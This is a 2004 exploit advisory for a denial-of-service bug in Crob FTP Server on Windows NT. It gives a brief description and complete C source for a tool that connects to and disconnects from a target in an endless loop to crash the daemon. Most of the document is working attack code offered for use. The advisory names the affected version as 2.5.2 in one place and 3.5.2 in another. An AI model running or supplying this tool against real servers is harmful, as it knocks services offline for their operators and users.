Application: Crob FTP daemon
http://www.crob.net/en/
Versions: 2.5.2 maybe others
Platforms: Windows NT
Bug: Denial of Service
Exploitation: remote
Date: 12 Feb 2004
Author: gsicht
e-mail: nothing.king@firemail.de
#######################################################################
1) Introduction
2) Bug
3) The Code
#######################################################################
===============
1) Introduction
===============
Quoute from the crob ftp's website:
"Crob Software Studio is a professional and innovative Internet software developing team.
With incessant endeavor. Now we have Crob FTP Server. A professional FTP Service solution."
#######################################################################
======
2) Bug
======
Crob FTP Server 3.5.2 is vulnerable to a Denial of Service attack. The connecting and disconnecting to the server leads to the crash of
the daemon.
#######################################################################
===========
3) The Code
===========
/******************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int s;
struct sockaddr_in target;
if(argc < 2)
{
printf("Usage: %s HOST [PORT]\n\n",argv[0]);
return 0;
}
do
{
s = socket(AF_INET, SOCK_STREAM, 0);
target.sin_family = AF_INET;
target.sin_port = htons(atoi(argv[2]));
target.sin_addr.s_addr = inet_addr(argv[1]);
printf("- connecting...\n");
if( connect(s,(struct sockaddr*)&target, sizeof(struct sockaddr))<0)
{
printf(" connect() error!\n\n");
exit(-1);
}
printf(" connected\n");
printf(" closing connection\n");
close(s);
}
while(1);
return 0;
}
/*******************************/
#######################################################################
